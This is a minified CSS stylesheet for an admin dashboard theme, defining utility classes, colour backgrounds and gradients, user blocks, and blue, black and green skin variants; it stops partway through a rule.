.datepicker-inline .datepicker-days td.day.old,.box .datepicker-inline>table td.day.new,.box .datepicker-inline>table td.day.old,.box .datepicker-inline td.day.new,.box .datepicker-inline td.day.old{color:#777}.pad{padding:10px}.margin{margin:10px}.margin-bottom{margin-bottom:20px}.margin-bottom-none{margin-bottom:0}.margin-r-5{margin-right:5px}.inline{display:inline}.description-block{display:block;margin:10px 0;text-align:center}.description-block.margin-bottom{margin-bottom:25px}.description-block>.description-header{margin:0;padding:0;font-weight:600;font-size:16px}.description-block>.description-text{text-transform:uppercase}.alert-danger,.alert-error,.alert-info,.alert-success,.alert-warning,.bg-aqua,.bg-aqua-active,.bg-black,.bg-black-active,.bg-blue,.bg-blue-active,.bg-fuchsia,.bg-fuchsia-active,.bg-green,.bg-green-active,.bg-light-blue,.bg-light-blue-active,.bg-lime,.bg-lime-active,.bg-maroon,.bg-maroon-active,.bg-navy,.bg-navy-active,.bg-olive,.bg-olive-active,.bg-orange,.bg-orange-active,.bg-purple,.bg-purple-active,.bg-red,.bg-red-active,.bg-teal,.bg-teal-active,.bg-yellow,.bg-yellow-active,.callout.callout-danger,.callout.callout-info,.callout.callout-success,.callout.callout-warning,.label-danger,.label-info,.label-primary,.label-success,.label-warning,.modal-danger .modal-body,.modal-danger .modal-footer,.modal-danger .modal-header,.modal-info .modal-body,.modal-info .modal-footer,.modal-info .modal-header,.modal-primary .modal-body,.modal-primary .modal-footer,.modal-primary .modal-header,.modal-success .modal-body,.modal-success .modal-footer,.modal-success .modal-header,.modal-warning .modal-body,.modal-warning .modal-footer,.modal-warning .modal-header{color:#fff!important}.bg-gray{color:#000;background-color:#d2d6de!important}.bg-gray-light{background-color:#f7f7f7}.bg-black{background-color:#111!important}.alert-danger,.alert-error,.bg-red,.callout.callout-danger,.label-danger,.modal-danger .modal-body{background-color:#dd4b39!important}.alert-warning,.bg-yellow,.callout.callout-warning,.label-warning,.modal-warning .modal-body{background-color:#f39c12!important}.alert-info,.bg-aqua,.callout.callout-info,.label-info,.modal-info .modal-body{background-color:#00c0ef!important}.bg-blue{background-color:#0073b7!important}.bg-light-blue,.label-primary,.modal-primary .modal-body{background-color:#3c8dbc!important}.alert-success,.bg-green,.callout.callout-success,.label-success,.modal-success .modal-body{background-color:#00a65a!important}.bg-navy{background-color:#001f3f!important}.bg-teal{background-color:#39cccc!important}.bg-olive{background-color:#3d9970!important}.bg-lime{background-color:#01ff70!important}.bg-orange{background-color:#ff851b!important}.bg-fuchsia{background-color:#f012be!important}.bg-purple{background-color:#605ca8!important}.bg-maroon{background-color:#d81b60!important}.bg-gray-active{color:#000;background-color:#b5bbc8!important}.bg-black-active{background-color:#000!important}.bg-red-active,.modal-danger .modal-footer,.modal-danger .modal-header{background-color:#d33724!important}.bg-yellow-active,.modal-warning .modal-footer,.modal-warning .modal-header{background-color:#db8b0b!important}.bg-aqua-active,.modal-info .modal-footer,.modal-info .modal-header{background-color:#00a7d0!important}.bg-blue-active{background-color:#005384!important}.bg-light-blue-active,.modal-primary .modal-footer,.modal-primary .modal-header{background-color:#357ca5!important}.bg-green-active,.modal-success .modal-footer,.modal-success .modal-header{background-color:#008d4c!important}.bg-navy-active{background-color:#001a35!important}.bg-teal-active{background-color:#30bbbb!important}.bg-olive-active{background-color:#368763!important}.bg-lime-active{background-color:#00e765!important}.bg-orange-active{background-color:#ff7701!important}.bg-fuchsia-active{background-color:#db0ead!important}.bg-purple-active{background-color:#555299!important}.bg-maroon-active{background-color:#ca195a!important}[class^=bg-].disabled{opacity:.65;filter:alpha(opacity=65)}.text-red{color:#dd4b39!important}.text-yellow{color:#f39c12!important}.text-aqua{color:#00c0ef!important}.text-blue{color:#0073b7!important}.text-black{color:#111!important}.text-light-blue{color:#3c8dbc!important}.text-green{color:#00a65a!important}.text-gray{color:#d2d6de!important}.text-navy{color:#001f3f!important}.text-teal{color:#39cccc!important}.text-olive{color:#3d9970!important}.text-lime{color:#01ff70!important}.text-orange{color:#ff851b!important}.text-fuchsia{color:#f012be!important}.text-purple{color:#605ca8!important}.text-maroon{color:#d81b60!important}.link-muted{color:#7a869d}.link-muted:focus,.link-muted:hover{color:#606c84}.link-black{color:#666}.link-black:focus,.link-black:hover{color:#999}.hide{display:none!important}.no-border{border:0!important}.no-padding{padding:0!important}.no-margin{margin:0!important}.no-shadow{box-shadow:none!important}.chart-legend,.contacts-list,.list-unstyled,.mailbox-attachments,.users-list{list-style:none;margin:0;padding:0}.list-group-unbordered>.list-group-item{border-left:0;border-right:0;border-radius:0;padding-left:0;padding-right:0}.flat{border-radius:0!important}.text-bold,.text-bold.table td,.text-bold.table th{font-weight:700}.text-sm{font-size:12px}.jqstooltip{padding:5px!important;width:auto!important;height:auto!important}.bg-teal-gradient{background:#39cccc!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#39cccc),color-stop(1,#7adddd))!important;background:-ms-linear-gradient(bottom,#39cccc,#7adddd)!important;background:-moz-linear-gradient(center bottom,#39cccc 0,#7adddd 100%)!important;background:-o-linear-gradient(#7adddd,#39cccc)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#7adddd",endColorstr="#39CCCC",GradientType=0)!important;color:#fff}.bg-light-blue-gradient{background:#3c8dbc!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#3c8dbc),color-stop(1,#67a8ce))!important;background:-ms-linear-gradient(bottom,#3c8dbc,#67a8ce)!important;background:-moz-linear-gradient(center bottom,#3c8dbc 0,#67a8ce 100%)!important;background:-o-linear-gradient(#67a8ce,#3c8dbc)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#67a8ce",endColorstr="#3c8dbc",GradientType=0)!important;color:#fff}.bg-blue-gradient{background:#0073b7!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#0073b7),color-stop(1,#0089db))!important;background:-ms-linear-gradient(bottom,#0073b7,#0089db)!important;background:-moz-linear-gradient(center bottom,#0073b7 0,#0089db 100%)!important;background:-o-linear-gradient(#0089db,#0073b7)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#0089db",endColorstr="#0073b7",GradientType=0)!important;color:#fff}.bg-aqua-gradient{background:#00c0ef!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#00c0ef),color-stop(1,#14d1ff))!important;background:-ms-linear-gradient(bottom,#00c0ef,#14d1ff)!important;background:-moz-linear-gradient(center bottom,#00c0ef 0,#14d1ff 100%)!important;background:-o-linear-gradient(#14d1ff,#00c0ef)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#14d1ff",endColorstr="#00c0ef",GradientType=0)!important;color:#fff}.bg-yellow-gradient{background:#f39c12!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#f39c12),color-stop(1,#f7bc60))!important;background:-ms-linear-gradient(bottom,#f39c12,#f7bc60)!important;background:-moz-linear-gradient(center bottom,#f39c12 0,#f7bc60 100%)!important;background:-o-linear-gradient(#f7bc60,#f39c12)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#f7bc60",endColorstr="#f39c12",GradientType=0)!important;color:#fff}.bg-purple-gradient{background:#605ca8!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#605ca8),color-stop(1,#9491c4))!important;background:-ms-linear-gradient(bottom,#605ca8,#9491c4)!important;background:-moz-linear-gradient(center bottom,#605ca8 0,#9491c4 100%)!important;background:-o-linear-gradient(#9491c4,#605ca8)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#9491c4",endColorstr="#605ca8",GradientType=0)!important;color:#fff}.bg-green-gradient{background:#00a65a!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#00a65a),color-stop(1,#00ca6d))!important;background:-ms-linear-gradient(bottom,#00a65a,#00ca6d)!important;background:-moz-linear-gradient(center bottom,#00a65a 0,#00ca6d 100%)!important;background:-o-linear-gradient(#00ca6d,#00a65a)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#00ca6d",endColorstr="#00a65a",GradientType=0)!important;color:#fff}.bg-red-gradient{background:#dd4b39!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#dd4b39),color-stop(1,#e47365))!important;background:-ms-linear-gradient(bottom,#dd4b39,#e47365)!important;background:-moz-linear-gradient(center bottom,#dd4b39 0,#e47365 100%)!important;background:-o-linear-gradient(#e47365,#dd4b39)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#e47365",endColorstr="#dd4b39",GradientType=0)!important;color:#fff}.bg-black-gradient{background:#111!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#111),color-stop(1,#2b2b2b))!important;background:-ms-linear-gradient(bottom,#111,#2b2b2b)!important;background:-moz-linear-gradient(center bottom,#111 0,#2b2b2b 100%)!important;background:-o-linear-gradient(#2b2b2b,#111)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#2b2b2b",endColorstr="#111",GradientType=0)!important;color:#fff}.bg-maroon-gradient{background:#d81b60!important;background:-webkit-gradient(linear,left bottom,left top,color-stop(0,#d81b60),color-stop(1,#e73f7c))!important;background:-ms-linear-gradient(bottom,#d81b60,#e73f7c)!important;background:-moz-linear-gradient(center bottom,#d81b60 0,#e73f7c 100%)!important;background:-o-linear-gradient(#e73f7c,#d81b60)!important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#e73f7c",endColorstr="#D81B60",GradientType=0)!important;color:#fff}.description-block .description-icon{font-size:16px}.no-pad-top{padding-top:0}.position-static{position:static!important}.list-header{font-size:15px;padding:10px 4px;font-weight:700;color:#666}.list-seperator{height:1px;background:#f4f4f4;margin:15px 0 9px}.list-link>a{padding:4px;color:#777}.list-link>a:hover{color:#222}.font-light{font-weight:300}.user-block:after,.user-block:before{content:" ";display:table}.user-block:after{clear:both}.user-block img{width:40px;height:40px;float:left}.user-block .comment,.user-block .description,.user-block .username{display:block;margin-left:50px}.user-block .username{font-size:16px;font-weight:600}.user-block .description{color:#999;font-size:13px}.user-block.user-block-sm .comment,.user-block.user-block-sm .description,.user-block.user-block-sm .username{margin-left:40px}.user-block.user-block-sm .username{font-size:14px}.box-comments .box-comment img,.img-lg,.img-md,.img-sm,.user-block.user-block-sm img{float:left}.box-comments .box-comment img,.img-sm,.user-block.user-block-sm img{width:30px!important;height:30px!important}.img-sm+.img-push{margin-left:40px}.img-md{width:60px;height:60px}.img-md+.img-push{margin-left:70px}.img-lg{width:100px;height:100px}.img-lg+.img-push{margin-left:110px}.img-bordered{border:3px solid #d2d6de;padding:3px}.img-bordered-sm{border:2px solid #d2d6de;padding:2px}.attachment-block{border:1px solid #f4f4f4;padding:5px;margin-bottom:10px;background:#f7f7f7}.attachment-block .attachment-img{max-width:100px;max-height:100px;height:auto;float:left}.attachment-block .attachment-pushed{margin-left:110px}.attachment-block .attachment-heading{margin:0}.attachment-block .attachment-text{color:#555}.connectedSortable{min-height:100px}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sort-highlight{background:#f4f4f4;border:1px dashed #ddd;margin-bottom:10px}.full-opacity-hover{opacity:.65;filter:alpha(opacity=65)}.full-opacity-hover:hover{opacity:1;filter:alpha(opacity=100)}.chart{position:relative;overflow:hidden;width:100%}.chart canvas,.chart svg{width:100%!important}hr{border-top:1px solid #555}#red .slider-selection{background:#f56954}#blue .slider-selection{background:#3c8dbc}#green .slider-selection{background:#00a65a}#yellow .slider-selection{background:#f39c12}#aqua .slider-selection{background:#00c0ef}#purple .slider-selection{background:#932ab6}@media print{.content-header,.left-side,.main-header,.main-sidebar,.no-print{display:none!important}.content-wrapper,.main-footer,.right-side{margin-left:0!important;min-height:0!important;-webkit-transform:translate(0)!important;-ms-transform:translate(0)!important;-o-transform:translate(0)!important;transform:translate(0)!important}.fixed .content-wrapper,.fixed .right-side{padding-top:0!important}.invoice{width:100%;border:0;margin:0;padding:0}.invoice-col{float:left;width:33.3333333%}.table-responsive{overflow:auto}.table-responsive>.table tr td,.table-responsive>.table tr th{white-space:normal!important}}.skin-blue .main-header .navbar{background-color:#3c8dbc}.skin-blue .main-header .navbar .nav>li>a{color:#fff}.skin-blue .main-header .navbar .nav .open>a,.skin-blue .main-header .navbar .nav .open>a:focus,.skin-blue .main-header .navbar .nav .open>a:hover,.skin-blue .main-header .navbar .nav>.active>a,.skin-blue .main-header .navbar .nav>li>a:active,.skin-blue .main-header .navbar .nav>li>a:focus,.skin-blue .main-header .navbar .nav>li>a:hover,.skin-blue .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-blue .main-header .navbar .sidebar-toggle{color:#fff}.skin-blue .main-header .navbar .sidebar-toggle:hover{background-color:#367fa9}@media (max-width:767px){.skin-blue .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-blue .main-header .navbar .dropdown-menu li a{color:#fff}.skin-blue .main-header .navbar .dropdown-menu li a:hover{background:#367fa9}}.skin-blue .main-header .logo{background-color:#367fa9;color:#fff;border-bottom:0 solid transparent}.skin-blue .main-header .logo:hover{background-color:#357ca5}.skin-blue .main-header li.user-header{background-color:#3c8dbc}.skin-blue .content-header{background:transparent}.skin-blue .left-side,.skin-blue .main-sidebar,.skin-blue .wrapper{background-color:#222d32}.skin-blue .user-panel>.info,.skin-blue .user-panel>.info>a{color:#fff}.skin-blue .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-blue .sidebar-menu>li>a{border-left:3px solid transparent}.skin-blue .sidebar-menu>li.active>a,.skin-blue .sidebar-menu>li.menu-open>a,.skin-blue .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-blue .sidebar-menu>li.active>a{border-left-color:#3c8dbc}.skin-blue .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-blue .sidebar a{color:#b8c7ce}.skin-blue .sidebar a:hover{text-decoration:none}.skin-blue .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-blue .sidebar-menu .treeview-menu>li.active>a,.skin-blue .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-blue .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-blue .sidebar-form .btn,.skin-blue .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-blue .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-blue .sidebar-form input[type=text]:focus,.skin-blue .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-blue .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-blue .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-blue-light .main-header .navbar{background-color:#3c8dbc}.skin-blue-light .main-header .navbar .nav>li>a{color:#fff}.skin-blue-light .main-header .navbar .nav .open>a,.skin-blue-light .main-header .navbar .nav .open>a:focus,.skin-blue-light .main-header .navbar .nav .open>a:hover,.skin-blue-light .main-header .navbar .nav>.active>a,.skin-blue-light .main-header .navbar .nav>li>a:active,.skin-blue-light .main-header .navbar .nav>li>a:focus,.skin-blue-light .main-header .navbar .nav>li>a:hover,.skin-blue-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-blue-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-blue-light .main-header .navbar .sidebar-toggle:hover{background-color:#367fa9}@media (max-width:767px){.skin-blue-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-blue-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-blue-light .main-header .navbar .dropdown-menu li a:hover{background:#367fa9}}.skin-blue-light .main-header .logo{background-color:#3c8dbc;color:#fff;border-bottom:0 solid transparent}.skin-blue-light .main-header .logo:hover{background-color:#3b8ab8}.skin-blue-light .main-header li.user-header{background-color:#3c8dbc}.skin-blue-light .content-header{background:transparent}.skin-blue-light .left-side,.skin-blue-light .main-sidebar,.skin-blue-light .wrapper{background-color:#f9fafc}.skin-blue-light .main-sidebar{border-right:1px solid #d2d6de}.skin-blue-light .user-panel>.info,.skin-blue-light .user-panel>.info>a{color:#444}.skin-blue-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-blue-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-blue-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-blue-light .sidebar-menu>li.active>a,.skin-blue-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-blue-light .sidebar-menu>li.active{border-left-color:#3c8dbc}.skin-blue-light .sidebar-menu>li.active>a{font-weight:600}.skin-blue-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-blue-light .sidebar a{color:#444}.skin-blue-light .sidebar a:hover{text-decoration:none}.skin-blue-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-blue-light .sidebar-menu .treeview-menu>li.active>a,.skin-blue-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-blue-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-blue-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-blue-light .sidebar-form .btn,.skin-blue-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-blue-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-blue-light .sidebar-form input[type=text]:focus,.skin-blue-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-blue-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-blue-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-blue-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-blue-light .main-footer{border-top-color:#d2d6de}.skin-blue.layout-top-nav .main-header>.logo{background-color:#3c8dbc;color:#fff;border-bottom:0 solid transparent}.skin-blue.layout-top-nav .main-header>.logo:hover{background-color:#3b8ab8}.skin-black .main-header{-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.skin-black .main-header .navbar-toggle{color:#333}.skin-black .main-header .navbar-brand{color:#333;border-right:1px solid #eee}.skin-black .main-header .navbar{background-color:#fff}.skin-black .main-header .navbar .nav>li>a{color:#333}.skin-black .main-header .navbar .nav .open>a,.skin-black .main-header .navbar .nav .open>a:focus,.skin-black .main-header .navbar .nav .open>a:hover,.skin-black .main-header .navbar .nav>.active>a,.skin-black .main-header .navbar .nav>li>a:active,.skin-black .main-header .navbar .nav>li>a:focus,.skin-black .main-header .navbar .nav>li>a:hover{background:#fff;color:#999}.skin-black .main-header .navbar .sidebar-toggle{color:#333}.skin-black .main-header .navbar .sidebar-toggle:hover{color:#999;background:#fff}.skin-black .main-header .navbar>.sidebar-toggle{color:#333;border-right:1px solid #eee}.skin-black .main-header .navbar .navbar-nav>li>a{border-right:1px solid #eee}.skin-black .main-header .navbar .navbar-custom-menu .navbar-nav>li>a,.skin-black .main-header .navbar .navbar-right>li>a{border-left:1px solid #eee;border-right-width:0}.skin-black .main-header .logo{background-color:#fff;color:#333;border-bottom:0 solid transparent;border-right:1px solid #eee}.skin-black .main-header .logo:hover{background-color:#fcfcfc}@media (max-width:767px){.skin-black .main-header .logo{background-color:#222;color:#fff;border-bottom:0 solid transparent;border-right:none}.skin-black .main-header .logo:hover{background-color:#1f1f1f}}.skin-black .main-header li.user-header{background-color:#222}.skin-black .content-header{background:transparent;box-shadow:none}.skin-black .left-side,.skin-black .main-sidebar,.skin-black .wrapper{background-color:#222d32}.skin-black .user-panel>.info,.skin-black .user-panel>.info>a{color:#fff}.skin-black .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-black .sidebar-menu>li>a{border-left:3px solid transparent}.skin-black .sidebar-menu>li.active>a,.skin-black .sidebar-menu>li.menu-open>a,.skin-black .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-black .sidebar-menu>li.active>a{border-left-color:#fff}.skin-black .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-black .sidebar a{color:#b8c7ce}.skin-black .sidebar a:hover{text-decoration:none}.skin-black .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-black .sidebar-menu .treeview-menu>li.active>a,.skin-black .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-black .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-black .sidebar-form .btn,.skin-black .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-black .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-black .sidebar-form input[type=text]:focus,.skin-black .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-black .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-black .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-black .pace .pace-progress{background:#222}.skin-black .pace .pace-activity{border-top-color:#222;border-left-color:#222}.skin-black-light .main-header{-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.skin-black-light .main-header .navbar-toggle{color:#333}.skin-black-light .main-header .navbar-brand{color:#333;border-right:1px solid #d2d6de}.skin-black-light .main-header .navbar{background-color:#fff}.skin-black-light .main-header .navbar .nav>li>a{color:#333}.skin-black-light .main-header .navbar .nav .open>a,.skin-black-light .main-header .navbar .nav .open>a:focus,.skin-black-light .main-header .navbar .nav .open>a:hover,.skin-black-light .main-header .navbar .nav>.active>a,.skin-black-light .main-header .navbar .nav>li>a:active,.skin-black-light .main-header .navbar .nav>li>a:focus,.skin-black-light .main-header .navbar .nav>li>a:hover{background:#fff;color:#999}.skin-black-light .main-header .navbar .sidebar-toggle{color:#333}.skin-black-light .main-header .navbar .sidebar-toggle:hover{color:#999;background:#fff}.skin-black-light .main-header .navbar>.sidebar-toggle{color:#333;border-right:1px solid #d2d6de}.skin-black-light .main-header .navbar .navbar-nav>li>a{border-right:1px solid #d2d6de}.skin-black-light .main-header .navbar .navbar-custom-menu .navbar-nav>li>a,.skin-black-light .main-header .navbar .navbar-right>li>a{border-left:1px solid #d2d6de;border-right-width:0}.skin-black-light .main-header .logo{background-color:#fff;color:#333;border-bottom:0 solid transparent;border-right:1px solid #d2d6de}.skin-black-light .main-header .logo:hover{background-color:#fcfcfc}@media (max-width:767px){.skin-black-light .main-header .logo{background-color:#222;color:#fff;border-bottom:0 solid transparent;border-right:none}.skin-black-light .main-header .logo:hover{background-color:#1f1f1f}}.skin-black-light .main-header li.user-header{background-color:#222}.skin-black-light .content-header{background:transparent;box-shadow:none}.skin-black-light .left-side,.skin-black-light .main-sidebar,.skin-black-light .wrapper{background-color:#f9fafc}.skin-black-light .main-sidebar{border-right:1px solid #d2d6de}.skin-black-light .user-panel>.info,.skin-black-light .user-panel>.info>a{color:#444}.skin-black-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-black-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-black-light .sidebar-menu>li>a{border-left:3px solid transparent;font-weight:600}.skin-black-light .sidebar-menu>li.active>a,.skin-black-light .sidebar-menu>li:hover>a{color:#000;background:#f4f4f5}.skin-black-light .sidebar-menu>li.active{border-left-color:#fff}.skin-black-light .sidebar-menu>li.active>a{font-weight:600}.skin-black-light .sidebar-menu>li>.treeview-menu{background:#f4f4f5}.skin-black-light .sidebar a{color:#444}.skin-black-light .sidebar a:hover{text-decoration:none}.skin-black-light .sidebar-menu .treeview-menu>li>a{color:#777}.skin-black-light .sidebar-menu .treeview-menu>li.active>a,.skin-black-light .sidebar-menu .treeview-menu>li>a:hover{color:#000}.skin-black-light .sidebar-menu .treeview-menu>li.active>a{font-weight:600}.skin-black-light .sidebar-form{border-radius:3px;border:1px solid #d2d6de;margin:10px}.skin-black-light .sidebar-form .btn,.skin-black-light .sidebar-form input[type=text]{box-shadow:none;background-color:#fff;border:1px solid transparent;height:35px}.skin-black-light .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-black-light .sidebar-form input[type=text]:focus,.skin-black-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-black-light .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-black-light .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}@media (min-width:768px){.skin-black-light.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{border-left:1px solid #d2d6de}}.skin-green .main-header .navbar{background-color:#00a65a}.skin-green .main-header .navbar .nav>li>a{color:#fff}.skin-green .main-header .navbar .nav .open>a,.skin-green .main-header .navbar .nav .open>a:focus,.skin-green .main-header .navbar .nav .open>a:hover,.skin-green .main-header .navbar .nav>.active>a,.skin-green .main-header .navbar .nav>li>a:active,.skin-green .main-header .navbar .nav>li>a:focus,.skin-green .main-header .navbar .nav>li>a:hover,.skin-green .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-green .main-header .navbar .sidebar-toggle{color:#fff}.skin-green .main-header .navbar .sidebar-toggle:hover{background-color:#008d4c}@media (max-width:767px){.skin-green .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-green .main-header .navbar .dropdown-menu li a{color:#fff}.skin-green .main-header .navbar .dropdown-menu li a:hover{background:#008d4c}}.skin-green .main-header .logo{background-color:#008d4c;color:#fff;border-bottom:0 solid transparent}.skin-green .main-header .logo:hover{background-color:#008749}.skin-green .main-header li.user-header{background-color:#00a65a}.skin-green .content-header{background:transparent}.skin-green .left-side,.skin-green .main-sidebar,.skin-green .wrapper{background-color:#222d32}.skin-green .user-panel>.info,.skin-green .user-panel>.info>a{color:#fff}.skin-green .sidebar-menu>li.header{color:#4b646f;background:#1a2226}.skin-green .sidebar-menu>li>a{border-left:3px solid transparent}.skin-green .sidebar-menu>li.active>a,.skin-green .sidebar-menu>li.menu-open>a,.skin-green .sidebar-menu>li:hover>a{color:#fff;background:#1e282c}.skin-green .sidebar-menu>li.active>a{border-left-color:#00a65a}.skin-green .sidebar-menu>li>.treeview-menu{margin:0 1px;background:#2c3b41}.skin-green .sidebar a{color:#b8c7ce}.skin-green .sidebar a:hover{text-decoration:none}.skin-green .sidebar-menu .treeview-menu>li>a{color:#8aa4af}.skin-green .sidebar-menu .treeview-menu>li.active>a,.skin-green .sidebar-menu .treeview-menu>li>a:hover{color:#fff}.skin-green .sidebar-form{border-radius:3px;border:1px solid #374850;margin:10px}.skin-green .sidebar-form .btn,.skin-green .sidebar-form input[type=text]{box-shadow:none;background-color:#374850;border:1px solid transparent;height:35px}.skin-green .sidebar-form input[type=text]{color:#666;border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px}.skin-green .sidebar-form input[type=text]:focus,.skin-green .sidebar-form input[type=text]:focus+.input-group-btn .btn{background-color:#fff;color:#666}.skin-green .sidebar-form input[type=text]:focus+.input-group-btn .btn{border-left-color:#fff}.skin-green .sidebar-form .btn{color:#999;border-top-left-radius:0;border-top-right-radius:2px;border-bottom-right-radius:2px;border-bottom-left-radius:0}.skin-green-light .main-header .navbar{background-color:#00a65a}.skin-green-light .main-header .navbar .nav>li>a{color:#fff}.skin-green-light .main-header .navbar .nav .open>a,.skin-green-light .main-header .navbar .nav .open>a:focus,.skin-green-light .main-header .navbar .nav .open>a:hover,.skin-green-light .main-header .navbar .nav>.active>a,.skin-green-light .main-header .navbar .nav>li>a:active,.skin-green-light .main-header .navbar .nav>li>a:focus,.skin-green-light .main-header .navbar .nav>li>a:hover,.skin-green-light .main-header .navbar .sidebar-toggle:hover{background:rgba(0,0,0,.1);color:#f6f6f6}.skin-green-light .main-header .navbar .sidebar-toggle{color:#fff}.skin-green-light .main-header .navbar .sidebar-toggle:hover{background-color:#008d4c}@media (max-width:767px){.skin-green-light .main-header .navbar .dropdown-menu li.divider{background-color:hsla(0,0%,100%,.1)}.skin-green-light .main-header .navbar .dropdown-menu li a{color:#fff}.skin-green-light .main-header .navbar .dropdown-menu li a:hover{background:#008d4c}}.skin-green-light .main-header .logo{background-color:#00a65a;color:#fff;border-bottom:0 solid transparent}.skin-green-light .main-header .logo:hover{background-color:#00a157}.skin-green-light .main-header li.user-header{background-color:#00a65a}.skin-green-light .content-header{background:transparent}.skin-green-light .left-side,.skin-green-light .main-sidebar,.skin-green-light .wrapper{background-color:#f9fafc}.skin-green-light .main-sidebar{border-right:1px solid #d2d6de}.skin-green-light .user-panel>.info,.skin-green-light .user-panel>.info>a{color:#444}.skin-green-light .sidebar-menu>li{-webkit-transition:border-left-color .3s ease;-o-transition:border-left-color .3s ease;transition:border-left-color .3s ease}.skin-green-light .sidebar-menu>li.header{color:#848484;background:#f9fafc}.skin-green-light 